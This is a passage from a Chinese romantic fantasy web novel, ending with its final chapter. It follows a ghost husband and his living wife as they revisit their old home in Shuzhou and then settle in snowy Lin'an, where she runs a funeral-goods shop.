话音落下,女子忽然用蜀州方言道:“十五钱,若是同意,我便将簪子买走,若是不行,便算了,前面还有不少卖木簪的摊贩。” 货郎眼珠转了转,连忙装作一副痛心疾首的模样,摆手道:“罢了罢了,十五钱便十五钱,就不赚夫人的银两了,只是夫人以后可要常来。” 女子低笑,付了银钱,一只手把玩那支月桂木簪,空下来的另一只手去拉撑伞郎君的袖子。 头顶竹伞微倾,将两人笼罩在一起,两人并肩走在小巷中,密不可分。 沈寄时侧头垂眸,“开心了?” 桥妧枝脸上满是笑意,一边点头一边道:“自然开心,那货郎明显以为咱们是外乡人,故意抬价的。” 沈寄时轻笑:“我们不就是外乡人?” 桥妧枝冷哼,“我们在青城县住了十年,也不算是完全的外乡人吧,你刚刚也看到了,我蜀州话说得极好。” “确实很好,以前未曾听你说过蜀州话。” “我学这些可是很快的。” 她将月桂木簪拿到他跟前给他看,眸子亮晶晶,“以前我时常在路边首饰摊买簪子,像这样的木簪都是五钱十钱,今日我花了十五钱已算是很贵了,好看吗?” 沈寄时目光在木簪上停顿一瞬,又定在她脸上,“很好看。” 桥妧枝轻咳一声,将簪子收回,“好不容易来了青城县,你有没有什么想要去的地方?” “城南有家味道不错的酒馆,夫人可否带我去吃酒?” 这声夫人叫得突然,直将桥妧枝叫红了脸。 她瞪了他一眼,抓着他袖子往前走,声音有些飘忽:“想咳咳……想吃酒就想吃酒,乱叫什么夫人。” 她走在前面,抓在他袖口的指尖用力到发白,从沈寄时的角度,恰好能看到她红透的耳尖。 眸光微动,沈寄时看了许久,无声轻笑。 一别经年,可青城县的一草一木却毫无变化,不用问路,他们凭着记忆便寻到了熟悉的酒馆。 “二位客官请进,想要喝点什么?” 酒娘子放下账本出门相迎,看到他们时神色一怔,笑问:“二位客官看着面熟,应当不是第一次来吧。” 桥妧枝掀开帷帽前的轻纱,冲酒娘子扬起一抹甜笑,“以前时常来。” 她仰头去看悬挂在门框上的竹片,对照着上面的酒名对酒娘子道:“我要一坛桂花酒,他要一坛陈年竹叶青。” 说完,便急匆匆拉着沈寄时坐到酒馆角落里的空桌旁。 正是晌午,酒馆人不多,周遭零星坐着几个正在闲谈的娘子郎君。 “别看青城县小,但是易守难攻,想当年,还是帝王落脚之地,当今圣上都是在这里长大的。” “何止当今圣上在这里长大,听说后来的长宁侯以及一众沈家军都在青城县生活,还喜欢来这个酒馆买酒吃,只可惜……唉!” “这我也记得,当年我刚满弱冠,还曾与沈小将军在这里对酌。” “你这样说,几年前他们还在蜀州的时候,我还曾与相府家的女郎一同学习打缨络呢。” “切,那又如何,当年我在城外松山书院,与许多长安的女郎是同窗。” 那桌人说着说着哈哈大笑起来,酒碗相撞,酒水高高溅出,落到了桌子上。 桥妧枝动了动耳朵,多看了两眼刚刚出声的女郎,低声道:“看起来是很眼熟,应当有过几面之缘。” 青城县太小了,小到走几步便能遇到与他们有过或深或浅缘分的人。 沈寄时闻言看过去,低声问:“卿卿要与她们一同喝酒吗?” 桥妧枝想了想,轻轻摇头。 他们此次来蜀州,也不过是想故地重游一番,以后应当很难再回来了,不必与旁人有过多牵扯。 浸泡着酒坛的水渐渐沸腾,香气四溢。 酒娘子将温酒端上桌,离开时忍不住道:“温酒虽好,可二位客官莫要贪杯。” 话音刚落,远处传来一道响亮的呼喊:“酒娘子,那乞丐又来买酒吃了。” “我这就来,你先去将为他将酒壶打满,一定要打满!” 酒娘子连忙转身,快步向门外走去。 桥妧枝坐在正对门口的位置,下意识看向那人口中的乞丐,当即神色一怔。 仿佛是察觉到她的目光,乞丐侧头,只扫了她一眼,便冷淡地收回目光。 接过盛满酒水的葫芦,乞丐放下银钱,转身离开。 午后的青城县,街上行人稀少,有些寂寥,乞丐漫无目的地往前走,直至走到一处巷口角落,终于停下脚步。 这里有一棵茂密的古树,树冠遮天蔽日,正好可以挡住倾泻下来的日光。 乞丐将外杉铺在地上,抱着酒壶坐在树下,神色淡漠,只是弯腰时,不经意间露出藏在衣衫下的刀鞘。 他身上的衣服有些脏,头发微散,他脸上刺着一个模糊不清的字,想来曾经犯了什么重罪,在狱中受了黥刑,身上虽脏些,却并没有像其他乞丐那样不堪。 桥妧枝立在远处看着他,渐渐出神。 “卿卿。” 沈寄时转身看她,低声道:“不是要去看看以前住的屋子?” 桥妧枝回神,对上他的视线,摇了摇头,重新与他并肩。 走过那个乞丐时,他们默契地谁都没有停下脚步。 乞丐也只是淡淡看了他们一眼,仿佛见到陌生人一样,冷淡移开视线,自顾自喝起酒来。 “你是这里的乞丐吗?” 身前传来女童带着天真的疑问,“我阿娘给我买了糖葫芦,酸酸甜甜,你要不要吃?” 乞丐没有说话,仿佛没有听见一样,缓缓闭上双目。 桥妧枝最终还是没忍住,回头看了一眼。 那人依旧停在原地,静静靠在墙角小憩,那个女童已经失望离开,却还是担心他饿肚子,将糖葫芦留了下来。 她抿唇,深吸一口气,不解道:“他一身武艺,明明有许多事情可以做,为什么要来这里做乞丐?” 沈寄时冷笑:“阿娘初见他时,他就是青城县外的一个乞儿,若是没有遇到阿娘,他本该过着这样的人生。” 沈寄时与她十指相扣,拉着她穿街走巷。 “周季然是个疯子,他也配肖想我阿娘?他知晓阿娘下一世投生在蜀州,被驱逐出长安之后便来了这里,但是桥脉脉,这世间只有一个阿娘,她已经死了。” 沈寄时目光冷冽,声音低沉,“阿娘早早便入了轮回,于她而言,故土已收,她战死沙场不负威名,那一世虽艰难却并无遗憾,这样很好。” 桥妧枝眼底一热,“那我希望天下太平,大梁昌盛,这一世的裴将军不必历经战乱,此生长乐无忧。” 不止是裴将军,还有千千万万于战乱中丧生的百姓。 “会的。” 沈寄时道:“我没有做到的事情,李御和阿萤一定做得到。” 他们的身影消失在街角,一直闭目的周季然缓缓睁眼,看向他们消失的方向。 拔开酒壶的塞子,他将刚刚买到的酒水洒在地上。 清酒混入尘土,飞起细小尘埃,酒水很快渗入地面,除了那一小块湿润的泥土,再不见痕迹。 一只雀鸟在泥土上轻轻一啄,摇晃着翅膀飞到合欢树的枝丫上,啾啾鸣叫。 合欢树下,矮墙之上杂草丛生,窄小的木门前挂着一把已经生锈的铁锁,铁锁内外覆盖着厚厚的尘埃。 桥妧枝立在木门前,小腿被茂盛的杂草淹没,转头看向沈寄时。 “我没有钥匙。” 她碰了碰沉重的铁锁,看向沈寄时,“当时离开的匆忙,又是深更半夜,爹爹与阿娘匆匆将我带出青城县,钥匙不知什么时候丢了。” 沈寄时微微眯眼,抬手推了推破旧的木门。 铁锁连带着木门剧烈晃动,洋洋洒洒落下一层灰尘,桥妧枝忍不住轻声咳嗽起来。 沈寄时挡在她身前,转头道:“锁开不了,若是想要进去,只要将门弄坏。” 桥妧枝皱眉,看了看门,拒绝这个提议:“不行,我们只是来看一眼,若是门坏了,岂不是谁都可以进了。” “既然如此,那我们只能翻墙了。” 沈寄时看了看长满杂草的矮墙,伸手揽住少女纤细的腰肢,正欲动作,却听身后传来吱呀吱呀的开门声。 门后探出一个看起来有些年长的妇人,看到他们,皱眉道:“你们是来寻人的吗?这户人家早就已经搬走了。” 沈寄时不动声色将手臂收回,默不作声为身侧人撑伞。 妇人看了看那棵生长得并不旺盛的合欢树,唏嘘道:“这个巷子许多人家都空了,去岁有一个姓冯的郎君曾来这里看过,你们若是寻人便去长安吧,这些人都是朝廷勋贵,在长安。” “多谢阿婆。” 桥妧枝道:“我们就是来看看。” 妇人点头,没有再出声,从身后搬出一只木凳,坐到墙根下晒太阳。 有人在这里,他们便不能翻墙了。 沈寄时沉吟片刻,指尖泛起一丝银光,却被桥妧枝一把攥了回去。 他看向她,剑眉微扬。 桥妧枝摇头,仰头看向翠绿的合欢树,满树合欢花早已凋零,如今只剩一树繁枝。 这棵树是来蜀州第一年他们一同栽下的,离开这些年,这棵树也不知历经了几代春秋,一年又一年的开花,等待着这处房屋的主人。 “我们走吧。” “不进去了?” 桥妧枝眨了眨眼,看向远边天际,“里面都是些杂草,合欢树在外面看看就足够了,沈寄时,我们去临安吧。” 枝头麻雀眼珠转动,很快展开翅膀,飞入破旧屋檐下的巢穴中…… 【END】 第59章 ◎余生许多年◎ 临安初雪,桥府庭院内覆盖了一层薄薄的银沙。 天色昏暗,桥妧枝提了一盏灯向外走,正巧碰上刚刚煮粥回来的桥夫人。 见她要出门,桥夫人不禁皱眉,劝说道:“今日天气不好,雪虽然不大,却也不知什么时候才能停,要不还是别去了。” 桥妧枝摇头,“家中闲来无事,凶肆离这里很近,一来一回费不了多长时间,万一有人需要买奠品,寻不到岂不是白跑一趟。” 桥夫人拗不过她,只好为她将斗篷系好,问:“若是沈寄时在还可与你同去,说来也是,他还没有回来吗?这都已经几日了!” “还未回来,不过应当快了。” 前几日,黄泉逃出一只恶鬼,他收到消息便匆匆离开,细细算来,竟已有七日了。 桥夫人叹息:“雪天路滑,莫要着急。今日早些关门,阿娘给你炖了排骨汤,回来就喝上一碗暖身。” 桥妧枝点头应下,提着灯,孤身一人踏出桥府。 长街寂静,天地一片苍茫,偶有行人冒雪匆匆行过,带起一阵短促的风。 凶肆前的石阶遍布行人踩过的泥泞,桥妧枝拾阶而上,没有撑伞,小心将被风吹落的白灯笼重新挂上,确定不会再次吹落,方才转身进了屋内。 这是临安城新开的一家凶肆,凶肆掌柜是一个年轻貌美的女郎,传闻是个外乡人,来自京都长安,又传闻她身份非浅,家中长辈与长安许多达官显贵都有交情。 总之,传闻传闻…… 桥妧枝将油灯点亮,偌大的凶肆立刻亮堂起来。她无视那些躲在凶肆内瑟瑟发抖的孤魂野鬼,从桌案前拿出宣纸写字。 她前几日遇到一只艳鬼,听他说了许多故事,正好趁着今日清闲,将故事记下。 天气不好,生意惨淡,小雪不停,偶有几个客人来买祭品纸扎,也是放下银钱匆匆就走。 雪落无声,临安城出奇的宁静,月升日落间,已是临近傍晚。 桥妧枝将凶肆上下打点好,正准备提灯归家,却迎来了今日最后一个客人。 来人是个很年轻的郎君,锦帽貂裘,模样清秀,手中握着一柄镶嵌着白玉珠的折扇,一看便是出自富贵人家。 桥妧枝询问:“郎君要买些什么?” 年轻郎君面色一红,飞快看了她一眼,结结巴巴道:“桥……桥姑娘,你这里……这里有没有什么,比较新的……” 还是头一次有人来凶肆提这种奇怪的要求。 桥妧枝眉心微蹙,想了想,将货架之上一排排纸扎小宠指给他看。 “这些是最新的,郎君要祭奠之人可喜欢狸奴小犬亦或是鱼虫雀鸟?” 她顿了顿,道:“又或者,若是喜欢逗蛐蛐儿,斗鸡一类的,我们这里也是有的。” 繁多的样式直接让这年轻郎君挑花了眼,他双颊更红,紧张道:“我我那……那女郎喜欢什么?” 这句话实在是冒犯,桥妧枝立即冷了脸。 那郎君很快意识到自己这句话不妥,连忙摆手,“不是,女郎,我不是这个意思。” 怕她生气,年轻郎君立即拿了一堆东西抱进怀里,又往桌上放了一锭银子,“女郎不要恼,这些我都要了。” 看了看眼前的郎君又看了看那块银子,桥妧枝没有出声,翻出荷包找出银钱递给他。 “姑娘不必找给我。” 桥妧枝头也不抬,伸手将银子塞进他手中。 郎君接过,目光灼灼看着她,“女郎可是要归家,雪天路滑,我与女郎一道走吧。” 桥妧枝眼中闪过一丝厌烦,一言不发将凶肆大门锁了,自顾自提灯往回走。 年轻郎君跟在她身后,与她只相隔一步距离,努力同她说话:“听闻女郎不是临安人?” “不是。” 她神色紧绷,愈发冷淡,声音好似含了霜雪,“我本是长安人,前不久方才与夫君一同来到临安。” 夫君二字令年轻郎君一怔,他许久才回过神来,不可置信道:“女郎已经成亲了?” 桥妧枝轻笑,并不吝啬与他多说一些:“成亲很久了,我与夫君青梅竹马,相识已近二十年。” 青梅竹马,相识二十年…… 那郎君心猛地一沉,想到什么,连连摇头,当即便道:“女郎如今才多大,二十年未免太夸张。而且我听街坊说,女郎并没有成亲。若是真的成亲了,为何女郎来临安这么久,众人都不曾见过你夫君?想来是女郎编来哄人的吧。” 桥妧枝默然,深觉这位郎君应当是看多了话本子。 他自顾自说道:“姑娘身为女子,独自一人开设一间凶肆,确实多有不便,说自己成婚也无可厚非。” 以为自己窥得了真相,年轻郎君心下一松,正准备重整旗鼓,却突然觉得身侧一阵阴风吹过,令他后脊发凉。 “卿卿。” 清润低沉的嗓音在前方响起,年轻郎君眉头一皱,循声看去,便看到不远处站着一个身姿挺拔的郎君。 他手持一柄竹伞,虽只露出半张有些苍白的脸,依旧能看出他生了一幅好样貌。 年轻郎君还未反应过来此人是谁,身旁女子却已经提裙向他跑了过去。 “桥姑娘——” 声音戛然而止,年轻郎君眼睁睁看着自己倾心不已的姑娘扑进那人怀中。 原来…… 她竟真的已经成亲了…… 风雪漫天,沈寄时身上寒意更甚。 桥妧枝环抱住他的腰,将脸贴在他胸前,好似抱着一块冷玉。 她呼出几口白气,欣喜道:“你回来了!” “什么时候回来的?等我许久了吗?恶鬼有没有抓到?去冥界述职了吗?” 一连串的问题砸下,不给他丝毫喘息的机会。 轻笑一声,他俯身凑近,“问完了吗?” 桥妧枝看着他,下意识点点头。 沈寄时微微眯眼,指腹蹭下她鬓边白雪,低声道:“桥脉脉,你好像有一个问题忘了问。” 眼中闪过疑惑,她迟疑问:“什么问题?” 目光不动声色扫过她身后,沈寄时与她鼻尖相抵,“人间黄泉有时差,我述职交差一趟,在黄泉呆了足有一月,你还未问我有没有想你。” 呼吸交缠,少女长睫上的霜雪渐渐融化,凝结成透明的水珠,沈寄时薄唇上移,将那些水珠一点一点吻去。 桥妧枝觉得自己思绪全部被抽空,脑海之中一片空白。 不知过了多久,她后知后觉想起身后还有其他人,耳尖一红,后退半步,喘息道:“等一下。” 沈寄时听话地停下动作,低声问:“怎么了?” “还有人。” 等到脸上的灼热退却,她才转身,却见身后空荡荡,那个郎君不知什么时候离开了。 应当已经离开很久了,他们身后的雪地洁白无瑕,脚印早就已经被新雪掩埋。 沈寄时扯了扯唇角,问:“那人是谁?” “是一位来买奠品的郎君,与我正好顺路。” 闻言,他收回目光,轻嗯一声,将竹伞塞进她手中,俯身道:“桥脉脉上来,我带你回家。” 桥妧枝将他头上有些歪了的玉冠小心扶正,“今日雪疾,却并不影响走路,你背我做什么。” 目光落在她裙边,沈寄时叹道:“道路泥泞,你的鞋袜已经湿了。” 闻言低头,桥妧枝这才发现自己裙角不知什么时候竟沾了雪泥,鞋子都已经湿了半边。 最终还是小心翼翼伏在他背上,桥妧枝撑伞为他们遮雪,下巴轻轻在他肩膀处蹭了蹭。 轻浅温热的呼吸喷洒在耳边,沈寄时脚步微顿,停留她腿间的双手不受控制地加重了力气。 桥妧枝丝毫没有察觉,又往他耳边凑近几分。 这里距桥府不过一条小巷的距离,沈寄时却将脚步放缓,背着她如同散步一样往家走。 “沈寄时。” 她凑在他耳边说话,薄唇不经意间擦过他冰凉的耳尖,“你这次缉拿恶鬼一路顺利吗?” 喉结滚动,他轻轻嗯了一声,道:“很顺利。” “那有没有受伤?” “没有。” 桥妧枝心下一松,圈在他颈边的手腕微微收紧,整张脸埋进他后颈,轻轻蹭着。 好闻的香火气萦绕在鼻尖,陡然间,她嗅到一丝若有似无的血腥味。只是这缕气味太过狡猾,在她想要再次探寻时,竟消失地无影无踪。 嘴角的笑意渐渐僵住,她垂眸看向他的侧脸,低声道:“沈寄时。” “嗯?”他微微偏头,回应她。 “那只恶鬼厉害吗?” “没我厉害。” 她吸了吸鼻子,“没受伤。” “没有。” 她将额头轻轻抵在他后背,接下来的一路,再也没有说话。 — 不同于长安,临安的雪总是带着一股独属于江南的温柔。 屋内四角点着暖炉,沈寄时临窗而立,透过窗缝去看外面纷纷扬扬的小雪。 他想到傍晚那个陌生郎君,即便他们一句话都未曾说,他依旧将那人心思猜了个七七八八。 细细想来,无论是蜀州还是长安,亦或是临安,她总是被许多人喜欢。沈萤、冯梁,还有那个叫窈娘的女鬼,以及今日这个陌生的郎君。 是啊,谁又不会喜欢桥脉脉呢? 若非他早早占了先机,以他之前那样恶劣的性子,她恐怕根本不会多看他一眼,早就找个温润谦逊的君子成婚,过上了太平日子。 “沈寄时。” 她的声音自身后传来,沈寄时转身,神色微顿。 地上铺着薄毯,她脸上未施粉黛,长发披散在身后,仅穿一层单薄中衣,赤脚踩在毯子上,正静静看着他。 “怎么穿这样单薄?” 话音落下,木窗便被飞快合上,几片雪花侥幸飘进屋内,又很快无影无踪。 沈寄时将她抱起放进床榻,正要起身,却被她抓住了手。 “沈寄时,你有没有骗我?” 漂亮的眸子直勾勾盯着他,仿佛能将他一眼看穿。 他面色不变,只是声音多了几分沙哑,“没有,卿卿为何会这样问?” 寂静的屋中突然响起一声轻笑,少女指尖抚上他侧脸,温热的吻重重落在他颈间。 沈寄时神色一松,眉梢扬起,扣在纤腰上的手掌微微用力,将人又往自己怀中揽了几分。 颈间传来带有酥麻的刺痛,他闷哼一声,在她鬓边落下一记轻吻,便将自己脖颈毫无保留地暴露出来,任凭她在上面留下或轻或重的痕迹。 桥妧枝微微眯眼,红唇没有离开他脖颈,指尖小心探进他胸前衣襟,入手却摸到了一片光滑的皮肤。 她一怔,眼中闪过一丝茫然,随后失去耐心,一口咬下。 痛感猝不及防传至全身,沈寄时猛地按住她后腰,将人紧紧抱进怀里,不断安抚。 少女牙齿锋利,只用了五分力气,却还是留下一道不浅的牙印。 她用指尖在那道牙印上轻轻描摹,毫无愧疚之意。 疼痛越来越细微,沈寄时仰躺在床榻上,哼笑:“桥脉脉,你要谋杀亲夫?” 他道:“还好我死了,要是活着,非让你咬断喉咙。” 桥妧枝翻身坐到他腰间,垂眸看他,语气严肃,“你骗我。” 沈寄时墨发散乱,眉宇间带了几分肆意,“何时骗你了?” “还不承认!” 她将他胸前衣襟扒开,看到曾经被万箭穿心的地方一片光滑,抿唇道:“我在你身上闻到了血腥气,你一定受伤了。” 她语气笃定,就那么看着他,纤长的睫毛在她眼下投出一道暗影。 沈寄时看了她好一会儿,败下阵来,“一开始确实受了些小伤,只是你问起时,伤已全然好了,那便算不得受伤。” “伤好了就是没有受伤?”桥妧枝险些被他气笑,“我还是头一次听到这样的谬论。” 她冷了脸,转身将自己裹进被子中,不再看他。 沈寄时身前衣襟大开,看了好一会儿床顶上的龙凤雕纹,低声道:“桥脉脉?” 背对着他的人又往被子里缩了缩,紧紧闭着眼睛不吭声。 “卿卿,我错了。” 声音不像之前那般沙哑,却依旧低沉,“以后若是受了伤,你问起,我定然如实告知。” 竟还要她问起才会如实告知! 桥妧枝猛地睁眼,磨了磨牙,直接将棉被盖到头顶上,不欲再听他讲话。 怕她将自己捂坏了,沈寄时皱眉,又道:“我保证,以后再也不骗卿卿。” 他等了好一会儿,见她还是不出来,面露担忧,终于还是伸手去掀棉被。 被角扯开,露出一张带着绯红的娇颜,少女呼吸平稳,不知什么时候已经睡着了。 沈寄时哑然,看着她闷笑了好一会儿,最终在她耳后轻轻落下一吻。 寒风吹过窗外竹柏,银沙撒下,发出簌簌声响。 小花懒懒窝在桌案上,看到躺在床榻上的两人,不知什么时候相拥睡在了一起。 临安这场雪好似没有停的迹象,一夜过后,屋檐上的雪已经堆积成手掌厚度。 桥妧枝醒时发现自己睡在沈寄时怀里,先是气闷了一会儿,随后匆匆穿上冬衣出了房门。 沈寄时被她无视,只好沉默跟在她身后,与她一同进了膳堂。 桥大人正哼唱着刚刚学来的江南小曲儿,见他们进来,正要说话,可一眼便看到沈寄时脖颈上惨不忍睹的痕迹。 见他傻眼,桥夫人在桌下狠狠踩了桥大人一脚,尴尬问:“何时回来的?” 沈寄时坐到桥妧枝身旁,回道:“昨日夜间方才归家,当时天色已晚,便没有叨扰岳父岳母大人。” 他说着,起身为身侧人盛了一碗粥,自己却没动。 鬼魅不需吃饭,他来这里,还是想要陪她。 桥妧枝神色冷淡,没有吭声,看也不看他,只自顾自喝完粥,撑起竹伞便要出府。 沈寄时施施然起身,亦步亦趋跟在她身后。 脚步一顿,她转身,冷淡道:“我要去凶肆,你跟着我做什么?” “我与卿卿一同去。” “不必了。” 桥妧枝冷哼,“凶肆我一个人也顾得过来,你不爱现身,来临安数月,街坊四邻都不曾见过你,你突然随我一同出现,也不知会被说成什么样。” 他听出来了,她这是在故意气他。 沈寄时立在屋檐下,没有再追上去,只看着她渐行渐远的背影若有所思。 将这一切看在眼里,桥大人忧心忡忡:“明明这几个月都好好的,怎么今日突然闹别扭了?” 桥夫人淡定喝粥,“他们以前吵得还少吗?今日这阵仗,放在以前不过小打小闹。” “之前是之前,之前他们不是年纪还小吗?” “如今也没有多大。” 桥夫人全然不将这件事放在心上,喝完粥,起身去看自己绣到一半的牡丹图。 — 灯笼亮起,今日前来凶肆采买的客人依旧很少。 桥妧枝小憩片刻,醒来后无所事事,便随手抓了凶肆了一个女鬼与她一同看雪。 长街雪深,水天一色,凶肆不远处便是一片湖泊,湖泊中心设有亭台水榭,亭内正有七八个锦衣郎君围炉煮酒,谈笑风生。 其中一个头戴锦帽的郎君脸色憔悴,坐在水榭一角,正在不停地借酒消愁。 坐在他旁边的白面郎君按下他举到一半的酒杯,笑问:“李君今日是怎么了,品酒非酗酒,上好的陈酿被你这样糟蹋,简直是暴殄天物啊。” 被称作李君的男子苦笑一声,向湖岸的凶肆看了一眼,带着几分醉意道:“诸位有所不知,我昨日去寻了那位桥姑娘。” 众人闻言纷纷看向他,打趣道:“李君一表人才,难不成还在女郎那里碰了壁?” “还有这等奇事?我观那女郎很好说话,难不成给了李君什么难堪不成?” 李郎君摇头,仰头灌了杯酒,“诸君有所不知,桥姑娘人很好,只是她早就已经成婚了!” 周遭一静,众位郎君面面相觑,皆不相信。 “是真的,昨日我亲眼看到了她的夫君,模样英俊,周身气势绝非寻常人。” 李郎君仔细回忆起昨日的情景,叹息道:“桥姑娘告诉我,她与她夫君青梅竹马,情深似海,如今已有二十年情分。” “这……当真?” 众人不可置信,“可是那女郎来临安已经数月,每日都是孤身一人,身旁何曾有过夫君?” “可她却已有夫君!是我亲眼所见,还能有假不成!” 见众人不信,李郎君有些急,正要再辩解几句,视线扫过众人,神色一怔。 “你……” 他看着不知何时出现在这里的男子,迟疑片刻,想到什么,当即睁大双眼。 他认出沈寄时的下半张脸,猛地起身:“我认得你,你就是桥姑娘的夫君!” 众位郎君皆是一惊,看向停在湖边的小舟,并未多出来一只,那这人是如何神不知鬼不觉来到湖心亭的? 沈寄时勾唇,对众人拱手道:“在下沈危止,正是卿卿郎君,初来临安时生了一场病,卧床许久,因此一直未曾露面,造成诸多误会。” 他掀袍入坐,正色道:“正巧,今日江山小雪,沈某带了几坛上好的洛阳杜康,邀诸君共饮,也算解开这些误会。” 听闻他是桥姑娘的夫君,众郎君原本还有些尴尬,见他行事这般坦荡,心下一松,纷纷执起酒杯与他共饮。 沈寄时来者不拒,目光偶尔越过湖面看向远方的凶肆,无声勾了勾唇角。 最后一坛杜康酒喝完时,已是暮色四合,亭内众郎君皆已东倒西歪,喝得不省人事,唯有沈寄时依旧坐得端正。 湖岸上亮起一盏盏华灯,他为自己斟上最后一杯酒饮下,起身道:“诸位,沈某要与卿卿一同归家,便先行一步。” 早就已经喝醉的一个郎君摆手,笑道:“沈君快快离去,莫让佳人久等。” 沈寄时挑眉,身影渐淡。 — 一整日过去,凶肆门前早就已经满是泥泞,若是一路走回去,必定会打湿鞋袜。 桥妧枝熄灭屋檐下两只白灯笼,小心落锁,方才拿起提灯走下石阶。 大约是今日心情不好,她神色看起来格外冷淡,未撑伞,任由细雪覆了满头,长睫之上挂满冰晶。 邻铺是个卖米糕的大娘,见她出来,连忙唤道:“桥娘子留步。” 桥妧枝循声看去,温声道:“米大娘,可是需要帮忙?” 大娘有些不好意思,指了指身前的门框,道:“老眼昏花,忘记门锁被我放在了何处,娘子能否为我打灯?” “自然可以。” 她连忙来到大娘身边,拿起提灯帮她照明找锁。 夜色昏暗,她们一同找了许久,方才在门后的角落里看到那把厚重的铜锁。 大娘松了口气,“还好找到了,不然今夜我这把老骨头就要在这里睡一宿了。” 桥妧枝眉眼微弯,“找到便好,大娘,若是没有其他事,我便先行归家,爹爹阿娘还在等我一同吃饭。” “娘子等等。” 大娘拉住她,进屋捧出一包热腾腾的米糕,“娘子拿回去吃。” 隔着厚厚的油纸,依旧能闻到米糕浓郁的香气,桥妧枝连忙将米糕还回去,“大娘不必客气,不过是打个灯而已。” “娘子才是不必客气。” 将米糕重新塞回她手中,大娘道:“天气寒冷,这米糕本就是为女郎准备的,拿回去吃便是。” 桥妧枝双颊微红,看了看手中的米糕,抿唇道:“多谢大娘。” 米大娘落锁,与她一同下石阶,说起闲话来:“这几个月总是见娘子孤身一人,就没想过要找个夫君?” 桥妧枝皱眉,她并非孤身一人,只是沈寄时身为鬼魅,并不爱在众人面前现身,这几个月,他其实一直陪在她身边。 抓住米糕的指尖微微收紧,她有些犹豫,不知该如何解释。 真是奇怪,明明前几个月,并没有这么多人来关心她是否是孤身一人。 见她不语,大娘以为她是不好意思,呵呵笑起来,“娘子不必害羞,男婚女嫁本就是常事。女郎应当早已到了适婚的年纪,是没有碰到合心意的人吗?” 桥妧枝摇头,正要敷衍过去,却听身后响起一道熟悉的声音:“卿卿。” 她回头,看到石阶之下,沈寄时撑伞而立,衣袂纷飞。 他微微抬伞,露出那张清俊的脸,神情悠然,眉眼之间透着几分恣意。 米大娘也看到了他,“桥娘子,这人是……” 桥妧枝眸光微动,用极低极低的声音道:“他是我夫君。” “原来桥娘子已经成亲了!” 大娘又惊又喜,目光在两人身上逡巡片刻,倏然笑道:“合该是这样,桥娘子花容月貌,自然也要找个英俊的郎君,你们二人极为般配。” 桥妧枝飞快眨了眨眼,这还是第一次有人说她与沈寄时般配。 竹伞为她遮住洋洋洒洒的小雪,她回头,对上沈寄时满是笑意的眸子。 “卿卿,我来接你归家。” 他又看向米大娘,将之前患病的说辞又说了一遍,继而道:“如今身子已大好,以后定然每日与卿卿同归。” 一语双关的两个字,惹得桥妧枝下意识看了他一眼。 沈寄时牵起她的手,低声问:“道路泥泞,我背你回去。” 桥妧枝摇头,躲在他伞下,回看他,双眸微弯:“雪快要停了,今日我想自己走回去。” 月白色的云履踏入泥泞中,鹅黄色的裙摆摇晃间沾上了污雪,她任由身旁人为她撑伞,提着灯缓慢往回走。 提灯映在雪地上,照出暖光色的光影。 桥妧枝伸手接下纷飞的雪花,看着它们在自己掌心融化。 沈寄时立在她身后,低声道:“卿卿,对不起。” 她一怔,回头眨了眨眼,笑道:“沈寄时,你没发现吗?我已经不生气了。” “我知道。” 竹伞倾斜,为她遮住身后被风吹来的霜雪,他道:“对不起,不该骗你。” 桥妧枝神色微动,没有出声。 “对不起,一直没有与你一同出现在众人面前。” 他是鬼魅,与活人总是不同,不出现在世人面前是本能,却忘了他的卿卿还需要他。 好在,还不晚。 桥妧枝看着他那张好看的脸,轻声道:“沈寄时,你若是不喜欢出现也没有关系,我可以……” “没有不喜欢。” 他出声打断:“我会与卿卿一同,好好活在临安城。” 心弦震动,一瞬间,她透过他那双墨似的深瞳,仿佛看到了余生许多年。 香火气缠绕在四周,他身上依旧带着属于鬼魅的寒凉,却令人格外安心。 桥妧枝抓在他袖口的手指轻轻收紧。 “沈寄时。” 她声音很轻,却异常清晰,“百年之后,我们做一对鬼夫妻吧。” “好。” “黄泉太黑了,你要一直陪着我。” “好。” ——正文完——